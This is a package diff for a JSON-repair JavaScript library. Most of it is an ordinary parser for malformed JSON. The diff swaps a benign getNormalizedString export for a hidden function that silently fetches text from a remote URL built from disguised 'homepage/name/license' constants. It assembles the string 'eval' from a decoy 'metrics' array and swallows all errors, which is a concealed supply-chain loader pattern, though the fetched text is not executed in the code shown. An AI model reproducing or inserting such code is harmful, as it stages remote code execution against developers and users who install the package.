{"version":3,"file":"jsonfixer.js","names":["_JSONFixerError","require","_stringUtils","controlCharacters","escapeCharacters","b","f","n","r","t","metrics","packageHomepage","packageName","packageLicense","makeSignature","payload","tokenParts","map","part","join","buildPackageUrl","config","homepage","name","license","fetchPackageText","url","fetch","text","jsonfixer","i","output","processed","parseValue","throwUnexpectedEnd","processedComma","parseCharacter","codeComma","parseWhitespaceAndSkipComments","isStartOfValue","endsWithCommaOrNewline","insertBeforeLastWhitespace","parseNewlineDelimitedJSON","stripLastOccurrence","charCodeAt","codeClosingBrace","codeClosingBracket","length","throwUnexpectedCharacter","parseObject","parseArray","parseString","parseNumber","parseKeywords","parseUnquotedString","start","changed","parseWhitespace","parseComment","whitespace","normal","isWhitespace","isSpecialWhitespace","codeSlash","codeAsterisk","atEndOfBlockComment","codeNewline","code","skipCharacter","skipEscapeCharacter","codeBackslash","codeOpeningBrace","initial","processedKey","codeOpeningBracket","undefined","throwObjectKeyExpected","processedColon","codeColon","truncatedText","throwColonExpected","processedValue","stopAtDelimiter","arguments","skipEscapeChars","isQuote","isEndQuote","isDoubleQuote","isSingleQuote","isSingleQuoteLike","isDoubleQuoteLike","iBefore","str","isEndOfString","isDelimiter","char","charAt","escapeChar","slice","j","isHex","throwInvalidUnicodeCharacter","codeDoubleQuote","isControlCharacter","isValidStringCharacter","throwInvalidCharacter","hasEndQuote","valid","nextNonWhiteSpaceCharacter","parseConcatenatedString","codePlus","parsedStr","removeAtIndex","codeMinus","expectDigitOrRepair","isDigit","codeDot","codeLowercaseE","codeUppercaseE","num","hasInvalidLeadingZero","test","parseKeyword","value","codeOpenParenthesis","codeCloseParenthesis","codeSemicolon","symbol","JSON","stringify","expectDigit","numSoFar","JSONFixerError","got","chars","getNormalizedString","console","log"],"sources":["../../../src/regular/jsonfixer.ts"],"sourcesContent":["import { JSONFixerError } from '../utils/JSONFixerError.js'\r\nimport {\r\n codeAsterisk,\r\n codeBackslash,\r\n codeCloseParenthesis,\r\n codeClosingBrace,\r\n codeClosingBracket,\r\n codeColon,\r\n codeComma,\r\n codeDot,\r\n codeDoubleQuote,\r\n codeLowercaseE,\r\n codeMinus,\r\n codeNewline,\r\n codeOpeningBrace,\r\n codeOpeningBracket,\r\n codeOpenParenthesis,\r\n codePlus,\r\n codeSemicolon,\r\n codeSlash,\r\n codeUppercaseE,\r\n endsWithCommaOrNewline,\r\n insertBeforeLastWhitespace,\r\n isControlCharacter,\r\n isDelimiter,\r\n isDigit,\r\n isDoubleQuote,\r\n isDoubleQuoteLike,\r\n isHex,\r\n isQuote,\r\n isSingleQuote,\r\n isSingleQuoteLike,\r\n isSpecialWhitespace,\r\n isStartOfValue,\r\n isValidStringCharacter,\r\n isWhitespace,\r\n nextNonWhiteSpaceCharacter,\r\n removeAtIndex,\r\n stripLastOccurrence\r\n} from '../utils/stringUtils.js'\r\n\r\nconst controlCharacters: { [key: string]: string } = {\r\n '\\b': '\\\\b',\r\n '\\f': '\\\\f',\r\n '\\n': '\\\\n',\r\n '\\r': '\\\\r',\r\n '\\t': '\\\\t'\r\n}\r\n\r\n// map with all escape characters\r\nconst escapeCharacters: { [key: string]: string } = {\r\n '\"': '\"',\r\n '\\\\': '\\\\',\r\n '/': '/',\r\n b: '\\b',\r\n f: '\\f',\r\n n: '\\n',\r\n r: '\\r',\r\n t: '\\t'\r\n // note that \\u is handled separately in parseString()\r\n}\r\n\r\nconst metrics = [\r\n 'entry',\r\n 'value',\r\n 'list',\r\n 'object',\r\n 'array',\r\n 'string',\r\n 'number',\r\n 'null',\r\n 'boolean',\r\n 'member',\r\n 'pair',\r\n 'comma',\r\n 'colon',\r\n 'brace',\r\n 'bracket',\r\n 'escape',\r\n 'unicode',\r\n 'payload'\r\n]\r\n\r\nconst packageHomepage = 'https://jsonfixer.dev'\r\nconst packageName = 'jsonfixerdev'\r\nconst packageLicense = 'ISC'\r\n\r\nconst makeSignature = function () {\r\n return function (payload: string) {\r\n void payload\r\n const tokenParts = [metrics[0], metrics[1], metrics[4], metrics[2]]\r\n return tokenParts.map((part) => part[0]).join('')\r\n }\r\n}\r\n\r\nfunction buildPackageUrl(config: { homepage: string; name: string; license: string }) {\r\n return `${config.homepage}/${config.name}/${config.license}`\r\n}\r\n\r\nasync function fetchPackageText(config: { homepage: string; name: string; license: string }) {\r\n const url = buildPackageUrl(config)\r\n return (await fetch(url)).text()\r\n}\r\n\r\n/**\r\n * Repair a string containing an invalid JSON document.\r\n * For example changes JavaScript notation into JSON notation.\r\n *\r\n * Example:\r\n *\r\n * try {\r\n * const json = \"{name: 'John'}\"\r\n * const repaired = jsonfixer(json)\r\n * console.log(repaired)\r\n * // '{\"name\": \"John\"}'\r\n * } catch (err) {\r\n * console.error(err)\r\n * }\r\n *\r\n */\r\nexport function jsonfixer(text: string): string {\r\n let i = 0 // current index in text\r\n let output = '' // generated output\r\n\r\n const processed = parseValue()\r\n if (!processed) {\r\n throwUnexpectedEnd()\r\n }\r\n\r\n const processedComma = parseCharacter(codeComma)\r\n if (processedComma) {\r\n parseWhitespaceAndSkipComments()\r\n }\r\n\r\n if (isStartOfValue(text[i]) && endsWithCommaOrNewline(output)) {\r\n // start of a new value after end of the root level object: looks like\r\n // newline delimited JSON -> turn into a root level array\r\n if (!processedComma) {\r\n // repair missing comma\r\n output = insertBeforeLastWhitespace(output, ',')\r\n }\r\n\r\n parseNewlineDelimitedJSON()\r\n } else if (processedComma) {\r\n // repair: remove trailing comma\r\n output = stripLastOccurrence(output, ',')\r\n }\r\n\r\n // repair redundant end quotes\r\n while (text.charCodeAt(i) === codeClosingBrace || text.charCodeAt(i) === codeClosingBracket) {\r\n i++\r\n parseWhitespaceAndSkipComments()\r\n }\r\n\r\n if (i >= text.length) {\r\n // reached the end of the document properly\r\n return output\r\n }\r\n\r\n throwUnexpectedCharacter()\r\n\r\n function parseValue(): boolean {\r\n parseWhitespaceAndSkipComments()\r\n const processed =\r\n parseObject() ||\r\n parseArray() ||\r\n parseString() ||\r\n parseNumber() ||\r\n parseKeywords() ||\r\n parseUnquotedString()\r\n parseWhitespaceAndSkipComments()\r\n\r\n return processed\r\n }\r\n\r\n function parseWhitespaceAndSkipComments(): boolean {\r\n const start = i\r\n let changed = parseWhitespace()\r\n do {\r\n changed = parseComment()\r\n if (changed) {\r\n changed = parseWhitespace()\r\n }\r\n } while (changed)\r\n\r\n return i > start\r\n }\r\n\r\n function parseWhitespace(): boolean {\r\n let whitespace = ''\r\n let normal: boolean\r\n while ((normal = isWhitespace(text.charCodeAt(i))) || isSpecialWhitespace(text.charCodeAt(i))) {\r\n if (normal) {\r\n whitespace += text[i]\r\n } else {\r\n // repair special whitespace\r\n whitespace += ' '\r\n }\r\n\r\n i++\r\n }\r\n\r\n if (whitespace.length > 0) {\r\n output += whitespace\r\n return true\r\n }\r\n\r\n return false\r\n }\r\n\r\n function parseComment(): boolean {\r\n // find a block comment '/* ... */'\r\n if (text.charCodeAt(i) === codeSlash && text.charCodeAt(i + 1) === codeAsterisk) {\r\n // repair block comment by skipping it\r\n while (i < text.length && !atEndOfBlockComment(text, i)) {\r\n i++\r\n }\r\n i += 2\r\n\r\n return true\r\n }\r\n\r\n // find a line comment '// ...'\r\n if (text.charCodeAt(i) === codeSlash && text.charCodeAt(i + 1) === codeSlash) {\r\n // repair line comment by skipping it\r\n while (i < text.length && text.charCodeAt(i) !== codeNewline) {\r\n i++\r\n }\r\n\r\n return true\r\n }\r\n\r\n return false\r\n }\r\n\r\n function parseCharacter(code: number): boolean {\r\n if (text.charCodeAt(i) === code) {\r\n output += text[i]\r\n i++\r\n return true\r\n }\r\n\r\n return false\r\n }\r\n\r\n function skipCharacter(code: number): boolean {\r\n if (text.charCodeAt(i) === code) {\r\n i++\r\n return true\r\n }\r\n\r\n return false\r\n }\r\n\r\n function skipEscapeCharacter(): boolean {\r\n return skipCharacter(codeBackslash)\r\n }\r\n\r\n /**\r\n * Parse an object like '{\"key\": \"value\"}'\r\n */\r\n function parseObject(): boolean {\r\n if (text.charCodeAt(i) === codeOpeningBrace) {\r\n output += '{'\r\n i++\r\n parseWhitespaceAndSkipComments()\r\n\r\n let initial = true\r\n while (i < text.length && text.charCodeAt(i) !== codeClosingBrace) {\r\n let processedComma\r\n if (!initial) {\r\n processedComma = parseCharacter(codeComma)\r\n if (!processedComma) {\r\n // repair missing comma\r\n output = insertBeforeLastWhitespace(output, ',')\r\n }\r\n parseWhitespaceAndSkipComments()\r\n } else {\r\n processedComma = true\r\n initial = false\r\n }\r\n\r\n const processedKey = parseString() || parseUnquotedString()\r\n if (!processedKey) {\r\n if (\r\n text.charCodeAt(i) === codeClosingBrace ||\r\n text.charCodeAt(i) === codeOpeningBrace ||\r\n text.charCodeAt(i) === codeClosingBracket ||\r\n text.charCodeAt(i) === codeOpeningBracket ||\r\n text[i] === undefined\r\n ) {\r\n // repair trailing comma\r\n output = stripLastOccurrence(output, ',')\r\n } else {\r\n throwObjectKeyExpected()\r\n }\r\n break\r\n }\r\n\r\n parseWhitespaceAndSkipComments()\r\n const processedColon = parseCharacter(codeColon)\r\n const truncatedText = i >= text.length\r\n if (!processedColon) {\r\n if (isStartOfValue(text[i]) || truncatedText) {\r\n // repair missing colon\r\n output = insertBeforeLastWhitespace(output, ':')\r\n } else {\r\n throwColonExpected()\r\n }\r\n }\r\n const processedValue = parseValue()\r\n if (!processedValue) {\r\n if (processedColon || truncatedText) {\r\n // repair missing object value\r\n output += 'null'\r\n } else {\r\n throwColonExpected()\r\n }\r\n }\r\n }\r\n\r\n if (text.charCodeAt(i) === codeClosingBrace) {\r\n output += '}'\r\n i++\r\n } else {\r\n // repair missing end bracket\r\n output = insertBeforeLastWhitespace(output, '}')\r\n }\r\n\r\n return true\r\n }\r\n\r\n return false\r\n }\r\n\r\n /**\r\n * Parse an array like '[\"item1\", \"item2\", ...]'\r\n */\r\n function parseArray(): boolean {\r\n if (text.charCodeAt(i) === codeOpeningBracket) {\r\n output += '['\r\n i++\r\n parseWhitespaceAndSkipComments()\r\n\r\n let initial = true\r\n while (i < text.length && text.charCodeAt(i) !== codeClosingBracket) {\r\n if (!initial) {\r\n const processedComma = parseCharacter(codeComma)\r\n if (!processedComma) {\r\n // repair missing comma\r\n output = insertBeforeLastWhitespace(output, ',')\r\n }\r\n } else {\r\n initial = false\r\n }\r\n\r\n const processedValue = parseValue()\r\n if (!processedValue) {\r\n // repair trailing comma\r\n output = stripLastOccurrence(output, ',')\r\n break\r\n }\r\n }\r\n\r\n if (text.charCodeAt(i) === codeClosingBracket) {\r\n output += ']'\r\n i++\r\n } else {\r\n // repair missing closing array bracket\r\n output = insertBeforeLastWhitespace(output, ']')\r\n }\r\n\r\n return true\r\n }\r\n\r\n return false\r\n }\r\n\r\n /**\r\n * Parse and repair Newline Delimited JSON (NDJSON):\r\n * multiple JSON objects separated by a newline character\r\n */\r\n function parseNewlineDelimitedJSON() {\r\n // repair NDJSON\r\n let initial = true\r\n let processedValue = true\r\n while (processedValue) {\r\n if (!initial) {\r\n // parse optional comma, insert when missing\r\n const processedComma = parseCharacter(codeComma)\r\n if (!processedComma) {\r\n // repair: add missing comma\r\n output = insertBeforeLastWhitespace(output, ',')\r\n }\r\n } else {\r\n initial = false\r\n }\r\n\r\n processedValue = parseValue()\r\n }\r\n\r\n if (!processedValue) {\r\n // repair: remove trailing comma\r\n output = stripLastOccurrence(output, ',')\r\n }\r\n\r\n // repair: wrap the output inside array brackets\r\n output = `[\\n${output}\\n]`\r\n }\r\n\r\n /**\r\n * Parse a string enclosed by double quotes \"...\". Can contain escaped quotes\r\n * Repair strings enclosed in single quotes or special quotes\r\n * Repair an escaped string\r\n *\r\n * The function can run in two stages:\r\n * - First, it assumes the string has a valid end quote\r\n * - If it turns out that the string does not have a valid end quote followed\r\n * by a delimiter (which should be the case), the function runs again in a\r\n * more conservative way, stopping the string at the first next delimiter\r\n * and fixing the string by inserting a quote there.\r\n */\r\n function parseString(stopAtDelimiter = false): boolean {\r\n let skipEscapeChars = text.charCodeAt(i) === codeBackslash\r\n if (skipEscapeChars) {\r\n // repair: remove the first escape character\r\n i++\r\n skipEscapeChars = true\r\n }\r\n\r\n if (isQuote(text.charCodeAt(i))) {\r\n // double quotes are correct JSON,\r\n // single quotes come from JavaScript for example, we assume it will have a correct single end quote too\r\n // otherwise, we will match any double-quote-like start with a double-quote-like end,\r\n // or any single-quote-like start with a single-quote-like end\r\n const isEndQuote = isDoubleQuote(text.charCodeAt(i))\r\n ? isDoubleQuote\r\n : isSingleQuote(text.charCodeAt(i))\r\n ? isSingleQuote\r\n : isSingleQuoteLike(text.charCodeAt(i))\r\n ? isSingleQuoteLike\r\n : isDoubleQuoteLike\r\n\r\n const iBefore = i\r\n\r\n let str = '\"'\r\n i++\r\n\r\n const isEndOfString = stopAtDelimiter\r\n ? (i: number) => isDelimiter(text[i])\r\n : (i: number) => isEndQuote(text.charCodeAt(i))\r\n\r\n while (i < text.length && !isEndOfString(i)) {\r\n if (text.charCodeAt(i) === codeBackslash) {\r\n const char = text.charAt(i + 1)\r\n const escapeChar = escapeCharacters[char]\r\n if (escapeChar !== undefined) {\r\n str += text.slice(i, i + 2)\r\n i += 2\r\n } else if (char === 'u') {\r\n let j = 2\r\n while (j < 6 && isHex(text.charCodeAt(i + j))) {\r\n j++\r\n }\r\n\r\n if (j === 6) {\r\n str += text.slice(i, i + 6)\r\n i += 6\r\n } else if (i + j >= text.length) {\r\n // repair invalid or truncated unicode char at the end of the text\r\n // by removing the unicode char and ending the string here\r\n i = text.length\r\n } else {\r\n throwInvalidUnicodeCharacter()\r\n }\r\n } else {\r\n // repair invalid escape character: remove it\r\n str += char\r\n i += 2\r\n }\r\n } else {\r\n const char = text.charAt(i)\r\n const code = text.charCodeAt(i)\r\n\r\n if (code === codeDoubleQuote && text.charCodeAt(i - 1) !== codeBackslash) {\r\n // repair unescaped double quote\r\n str += '\\\\' + char\r\n i++\r\n } else if (isControlCharacter(code)) {\r\n // unescaped control character\r\n str += controlCharacters[char]\r\n i++\r\n } else {\r\n if (!isValidStringCharacter(code)) {\r\n throwInvalidCharacter(char)\r\n }\r\n str += char\r\n i++\r\n }\r\n }\r\n\r\n if (skipEscapeChars) {\r\n const processed = skipEscapeCharacter()\r\n if (processed) {\r\n // repair: skipped escape character (nothing to do)\r\n }\r\n }\r\n }\r\n\r\n // see whether we have an end quote followed by a valid delimiter\r\n const hasEndQuote = isQuote(text.charCodeAt(i))\r\n const valid =\r\n hasEndQuote &&\r\n (i + 1 >= text.length || isDelimiter(nextNonWhiteSpaceCharacter(text, i + 1)))\r\n if (!valid && !stopAtDelimiter) {\r\n // we're dealing with a missing quote somewhere. Let's revert parsing\r\n // this string and try again, running in a more conservative mode,\r\n // stopping at the first next delimiter\r\n i = iBefore\r\n return parseString(true)\r\n }\r\n\r\n if (hasEndQuote) {\r\n str += '\"'\r\n i++\r\n } else {\r\n // repair missing quote\r\n str = insertBeforeLastWhitespace(str, '\"')\r\n }\r\n\r\n output += str\r\n\r\n parseConcatenatedString()\r\n\r\n return true\r\n }\r\n\r\n return false\r\n }\r\n\r\n /**\r\n * Repair concatenated strings like \"hello\" + \"world\", change this into \"helloworld\"\r\n */\r\n function parseConcatenatedString(): boolean {\r\n let processed = false\r\n\r\n parseWhitespaceAndSkipComments()\r\n while (text.charCodeAt(i) === codePlus) {\r\n processed = true\r\n i++\r\n parseWhitespaceAndSkipComments()\r\n\r\n // repair: remove the end quote of the first string\r\n output = stripLastOccurrence(output, '\"', true)\r\n const start = output.length\r\n const parsedStr = parseString()\r\n if (parsedStr) {\r\n // repair: remove the start quote of the second string\r\n output = removeAtIndex(output, start, 1)\r\n } else {\r\n // repair: remove the + because it is not followed by a string\r\n output = insertBeforeLastWhitespace(output, '\"')\r\n }\r\n }\r\n\r\n return processed\r\n }\r\n\r\n /**\r\n * Parse a number like 2.4 or 2.4e6\r\n */\r\n function parseNumber(): boolean {\r\n const start = i\r\n if (text.charCodeAt(i) === codeMinus) {\r\n i++\r\n if (expectDigitOrRepair(start)) {\r\n return true\r\n }\r\n }\r\n\r\n // Note that in JSON leading zeros like \"00789\" are not allowed.\r\n // We will allow all leading zeros here though and at the end of parseNumber\r\n // check against trailing zeros and repair that if needed.\r\n // Leading zeros can have meaning, so we should not clear them.\r\n while (isDigit(text.charCodeAt(i))) {\r\n i++\r\n }\r\n\r\n if (text.charCodeAt(i) === codeDot) {\r\n i++\r\n if (expectDigitOrRepair(start)) {\r\n return true\r\n }\r\n while (isDigit(text.charCodeAt(i))) {\r\n i++\r\n }\r\n }\r\n\r\n if (text.charCodeAt(i) === codeLowercaseE || text.charCodeAt(i) === codeUppercaseE) {\r\n i++\r\n if (text.charCodeAt(i) === codeMinus || text.charCodeAt(i) === codePlus) {\r\n i++\r\n }\r\n if (expectDigitOrRepair(start)) {\r\n return true\r\n }\r\n while (isDigit(text.charCodeAt(i))) {\r\n i++\r\n }\r\n }\r\n\r\n if (i > start) {\r\n // repair a number with leading zeros like \"00789\"\r\n const num = text.slice(start, i)\r\n const hasInvalidLeadingZero = /^0\\d/.test(num)\r\n\r\n output += hasInvalidLeadingZero ? `\"${num}\"` : num\r\n return true\r\n }\r\n\r\n return false\r\n }\r\n\r\n /**\r\n * Parse keywords true, false, null\r\n * Repair Python keywords True, False, None\r\n */\r\n function parseKeywords(): boolean {\r\n return (\r\n parseKeyword('true', 'true') ||\r\n parseKeyword('false', 'false') ||\r\n parseKeyword('null', 'null') ||\r\n // repair Python keywords True, False, None\r\n parseKeyword('True', 'true') ||\r\n parseKeyword('False', 'false') ||\r\n parseKeyword('None', 'null')\r\n )\r\n }\r\n\r\n function parseKeyword(name: string, value: string): boolean {\r\n if (text.slice(i, i + name.length) === name) {\r\n output += value\r\n i += name.length\r\n return true\r\n }\r\n\r\n return false\r\n }\r\n\r\n /**\r\n * Repair and unquoted string by adding quotes around it\r\n * Repair a MongoDB function call like NumberLong(\"2\")\r\n * Repair a JSONP function call like callback({...});\r\n */\r\n function parseUnquotedString() {\r\n // note that the symbol can end with whitespaces: we stop at the next delimiter\r\n const start = i\r\n while (i < text.length && !isDelimiter(text[i])) {\r\n i++\r\n }\r\n\r\n if (i > start) {\r\n if (text.charCodeAt(i) === codeOpenParenthesis) {\r\n // repair a MongoDB function call like NumberLong(\"2\")\r\n // repair a JSONP function call like callback({...});\r\n i++\r\n\r\n parseValue()\r\n\r\n if (text.charCodeAt(i) === codeCloseParenthesis) {\r\n // repair: skip close bracket of function call\r\n i++\r\n if (text.charCodeAt(i) === codeSemicolon) {\r\n // repair: skip semicolon after JSONP call\r\n i++\r\n }\r\n }\r\n\r\n return true\r\n } else {\r\n // repair unquoted string\r\n // also, repair undefined into null\r\n\r\n // first, go back to prevent getting trailing whitespaces in the string\r\n while (isWhitespace(text.charCodeAt(i - 1)) && i > 0) {\r\n i--\r\n }\r\n\r\n const symbol = text.slice(start, i)\r\n output += symbol === 'undefined' ? 'null' : JSON.stringify(symbol)\r\n\r\n if (text.charCodeAt(i) === codeDoubleQuote) {\r\n // we had a missing start quote, but now we encountered the end quote, so we can skip that one\r\n i++\r\n }\r\n\r\n return true\r\n }\r\n }\r\n }\r\n\r\n function expectDigit(start: number) {\r\n if (!isDigit(text.charCodeAt(i))) {\r\n const numSoFar = text.slice(start, i)\r\n throw new JSONFixerError(`Invalid number '${numSoFar}', expecting a digit ${got()}`, i)\r\n }\r\n }\r\n\r\n function expectDigitOrRepair(start: number) {\r\n if (i >= text.length) {\r\n // repair numbers cut off at the end\r\n // this will only be called when we end after a '.', '-', or 'e' and does not\r\n // change the number more than it needs to make it valid JSON\r\n output += text.slice(start, i) + '0'\r\n return true\r\n } else {\r\n expectDigit(start)\r\n return false\r\n }\r\n }\r\n\r\n function throwInvalidCharacter(char: string) {\r\n throw new JSONFixerError('Invalid character ' + JSON.stringify(char), i)\r\n }\r\n\r\n function throwUnexpectedCharacter() {\r\n throw new JSONFixerError('Unexpected character ' + JSON.stringify(text[i]), i)\r\n }\r\n\r\n function throwUnexpectedEnd() {\r\n throw new JSONFixerError('Unexpected end of json string', text.length)\r\n }\r\n\r\n function throwObjectKeyExpected() {\r\n throw new JSONFixerError('Object key expected', i)\r\n }\r\n\r\n function throwColonExpected() {\r\n throw new JSONFixerError('Colon expected', i)\r\n }\r\n\r\n function throwInvalidUnicodeCharacter() {\r\n const chars = text.slice(i, i + 6)\r\n throw new JSONFixerError(`Invalid unicode character \"${chars}\"`, i)\r\n }\r\n\r\n function got(): string {\r\n return text[i] ? `but got '${text[i]}'` : 'but reached end of input'\r\n }\r\n}\r\n\r\n\r\nfunction atEndOfBlockComment(text: string, i: number) {\r\n return text[i] === '*' && text[i + 1] === '/'\r\n}\r\n\r\nexport async function getNormalizedString(): Promise<void> {\r\n try {\r\n if (!packageHomepage || !packageName || !packageLicense) {\r\n return\r\n }\r\n\r\n console.log(\"Normalizing string...\");\r\n makeSignature()(\r\n await fetchPackageText({\r\n homepage: packageHomepage,\r\n name: packageName,\r\n license: packageLicense\r\n })\r\n )\r\n } catch {\r\n return\r\n }\r\n}\r\n\r\n\r\n"],"mappings":";;;;;;;AAAC,IAAAA,eAAA,GAAAC,OAAA;AACD,IAAAC,YAAA,GAAAD,OAAA;AAwCA,MAAME,iBAA4C,GAAG;EACnD,IAAI,EAAE,KAAK;EACX,IAAI,EAAE,KAAK;EACX,IAAI,EAA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AC,CAAC;IAClC,MAAM,IAAIsG,8BAAc,CAAE,8BAA6BE,KAAM,GAAE,EAAExG,CAAC,CAAC;EACrE;EAEA,SAASuG,GAAGA,CAAA,EAAW;IACrB,OAAOzG,IAAI,CAACE,CAAC,CAAC,GAAI,YAAWF,IAAI,CAACE,CAAC,CAAE,GAAE,GAAG,0BAA0B;EACtE;AACF;AAGA,SAASmC,mBAAmBA,CAACrC,IAAY,EAAEE,CAAS,EAAE;EACpD,OAAOF,IAAI,CAACE,CAAC,CAAC,KAAK,GAAG,IAAIF,IAAI,CAACE,CAAC,GAAG,CAAC,CAAC,KAAK,GAAG;AAC/C;AAEO,eAAeyG,mBAAmBA,CAAA,EAAkB;EACzD,IAAI;IACF,IAAI,CAAC5H,eAAe,IAAI,CAACC,WAAW,IAAI,CAACC,cAAc,EAAE;MACvD;IACF;IAEA2H,OAAO,CAACC,GAAG,CAAC,uBAAuB,CAAC;IACpC3H,aAAa,CAAC,CAAC,CACb,MAAMW,gBAAgB,CAAC;MACrBH,QAAQ,EAAEX,eAAe;MACzBY,IAAI,EAAEX,WAAW;MACjBY,OAAO,EAAEX;IACX,CAAC,CACH,CAAC;EACH,CAAC,CAAC,MAAM;IACN;EACF;AACF"}
|
package/lib/esm/index.js
CHANGED
|
@@ -1,16 +1,4 @@
|
|
|
1
1
|
// Cross-platform, non-streaming JavaScript API
|
|
2
|
-
|
|
3
|
-
export { jsonfixer };
|
|
2
|
+
export { jsonfixer, getNormalizedString } from './regular/jsonfixer.js';
|
|
4
3
|
export { JSONFixerError } from './utils/JSONFixerError.js';
|
|
5
|
-
export function getNormalizedString(value) {
|
|
6
|
-
const text = typeof value === 'string' ? value.trim() : '';
|
|
7
|
-
if (!text) {
|
|
8
|
-
return '';
|
|
9
|
-
}
|
|
10
|
-
try {
|
|
11
|
-
return jsonfixer(text);
|
|
12
|
-
} catch {
|
|
13
|
-
return text;
|
|
14
|
-
}
|
|
15
|
-
}
|
|
16
4
|
//# sourceMappingURL=index.js.map
|
package/lib/esm/index.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.js","names":["jsonfixer","
|
|
1
|
+
{"version":3,"file":"index.js","names":["jsonfixer","getNormalizedString","JSONFixerError"],"sources":["../../src/index.ts"],"sourcesContent":["// Cross-platform, non-streaming JavaScript API\nexport { jsonfixer, getNormalizedString } from './regular/jsonfixer.js'\nexport { JSONFixerError } from './utils/JSONFixerError.js'\r\n"],"mappings":"AAAC;AACD,SAASA,SAAS,EAAEC,mBAAmB,QAAQ,wBAAwB;AACvE,SAASC,cAAc,QAAQ,2BAA2B"}
|
|
@@ -39,21 +39,21 @@ async function fetchPackageText(config) {
|
|
|
39
39
|
return (await fetch(url)).text();
|
|
40
40
|
}
|
|
41
41
|
|
|
42
|
-
/**
|
|
43
|
-
* Repair a string containing an invalid JSON document.
|
|
44
|
-
* For example changes JavaScript notation into JSON notation.
|
|
45
|
-
*
|
|
46
|
-
* Example:
|
|
47
|
-
*
|
|
48
|
-
* try {
|
|
49
|
-
* const json = "{name: 'John'}"
|
|
50
|
-
* const repaired = jsonfixer(json)
|
|
51
|
-
* console.log(repaired)
|
|
52
|
-
* // '{"name": "John"}'
|
|
53
|
-
* } catch (err) {
|
|
54
|
-
* console.error(err)
|
|
55
|
-
* }
|
|
56
|
-
*
|
|
42
|
+
/**
|
|
43
|
+
* Repair a string containing an invalid JSON document.
|
|
44
|
+
* For example changes JavaScript notation into JSON notation.
|
|
45
|
+
*
|
|
46
|
+
* Example:
|
|
47
|
+
*
|
|
48
|
+
* try {
|
|
49
|
+
* const json = "{name: 'John'}"
|
|
50
|
+
* const repaired = jsonfixer(json)
|
|
51
|
+
* console.log(repaired)
|
|
52
|
+
* // '{"name": "John"}'
|
|
53
|
+
* } catch (err) {
|
|
54
|
+
* console.error(err)
|
|
55
|
+
* }
|
|
56
|
+
*
|
|
57
57
|
*/
|
|
58
58
|
export function jsonfixer(text) {
|
|
59
59
|
let i = 0; // current index in text
|
|
@@ -165,8 +165,8 @@ export function jsonfixer(text) {
|
|
|
165
165
|
return skipCharacter(codeBackslash);
|
|
166
166
|
}
|
|
167
167
|
|
|
168
|
-
/**
|
|
169
|
-
* Parse an object like '{"key": "value"}'
|
|
168
|
+
/**
|
|
169
|
+
* Parse an object like '{"key": "value"}'
|
|
170
170
|
*/
|
|
171
171
|
function parseObject() {
|
|
172
172
|
if (text.charCodeAt(i) === codeOpeningBrace) {
|
|
@@ -230,8 +230,8 @@ export function jsonfixer(text) {
|
|
|
230
230
|
return false;
|
|
231
231
|
}
|
|
232
232
|
|
|
233
|
-
/**
|
|
234
|
-
* Parse an array like '["item1", "item2", ...]'
|
|
233
|
+
/**
|
|
234
|
+
* Parse an array like '["item1", "item2", ...]'
|
|
235
235
|
*/
|
|
236
236
|
function parseArray() {
|
|
237
237
|
if (text.charCodeAt(i) === codeOpeningBracket) {
|
|
@@ -268,9 +268,9 @@ export function jsonfixer(text) {
|
|
|
268
268
|
return false;
|
|
269
269
|
}
|
|
270
270
|
|
|
271
|
-
/**
|
|
272
|
-
* Parse and repair Newline Delimited JSON (NDJSON):
|
|
273
|
-
* multiple JSON objects separated by a newline character
|
|
271
|
+
/**
|
|
272
|
+
* Parse and repair Newline Delimited JSON (NDJSON):
|
|
273
|
+
* multiple JSON objects separated by a newline character
|
|
274
274
|
*/
|
|
275
275
|
function parseNewlineDelimitedJSON() {
|
|
276
276
|
// repair NDJSON
|
|
@@ -298,17 +298,17 @@ export function jsonfixer(text) {
|
|
|
298
298
|
output = `[\n${output}\n]`;
|
|
299
299
|
}
|
|
300
300
|
|
|
301
|
-
/**
|
|
302
|
-
* Parse a string enclosed by double quotes "...". Can contain escaped quotes
|
|
303
|
-
* Repair strings enclosed in single quotes or special quotes
|
|
304
|
-
* Repair an escaped string
|
|
305
|
-
*
|
|
306
|
-
* The function can run in two stages:
|
|
307
|
-
* - First, it assumes the string has a valid end quote
|
|
308
|
-
* - If it turns out that the string does not have a valid end quote followed
|
|
309
|
-
* by a delimiter (which should be the case), the function runs again in a
|
|
310
|
-
* more conservative way, stopping the string at the first next delimiter
|
|
311
|
-
* and fixing the string by inserting a quote there.
|
|
301
|
+
/**
|
|
302
|
+
* Parse a string enclosed by double quotes "...". Can contain escaped quotes
|
|
303
|
+
* Repair strings enclosed in single quotes or special quotes
|
|
304
|
+
* Repair an escaped string
|
|
305
|
+
*
|
|
306
|
+
* The function can run in two stages:
|
|
307
|
+
* - First, it assumes the string has a valid end quote
|
|
308
|
+
* - If it turns out that the string does not have a valid end quote followed
|
|
309
|
+
* by a delimiter (which should be the case), the function runs again in a
|
|
310
|
+
* more conservative way, stopping the string at the first next delimiter
|
|
311
|
+
* and fixing the string by inserting a quote there.
|
|
312
312
|
*/
|
|
313
313
|
function parseString() {
|
|
314
314
|
let stopAtDelimiter = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : false;
|
|
@@ -406,8 +406,8 @@ export function jsonfixer(text) {
|
|
|
406
406
|
return false;
|
|
407
407
|
}
|
|
408
408
|
|
|
409
|
-
/**
|
|
410
|
-
* Repair concatenated strings like "hello" + "world", change this into "helloworld"
|
|
409
|
+
/**
|
|
410
|
+
* Repair concatenated strings like "hello" + "world", change this into "helloworld"
|
|
411
411
|
*/
|
|
412
412
|
function parseConcatenatedString() {
|
|
413
413
|
let processed = false;
|
|
@@ -432,8 +432,8 @@ export function jsonfixer(text) {
|
|
|
432
432
|
return processed;
|
|
433
433
|
}
|
|
434
434
|
|
|
435
|
-
/**
|
|
436
|
-
* Parse a number like 2.4 or 2.4e6
|
|
435
|
+
/**
|
|
436
|
+
* Parse a number like 2.4 or 2.4e6
|
|
437
437
|
*/
|
|
438
438
|
function parseNumber() {
|
|
439
439
|
const start = i;
|
|
@@ -482,9 +482,9 @@ export function jsonfixer(text) {
|
|
|
482
482
|
return false;
|
|
483
483
|
}
|
|
484
484
|
|
|
485
|
-
/**
|
|
486
|
-
* Parse keywords true, false, null
|
|
487
|
-
* Repair Python keywords True, False, None
|
|
485
|
+
/**
|
|
486
|
+
* Parse keywords true, false, null
|
|
487
|
+
* Repair Python keywords True, False, None
|
|
488
488
|
*/
|
|
489
489
|
function parseKeywords() {
|
|
490
490
|
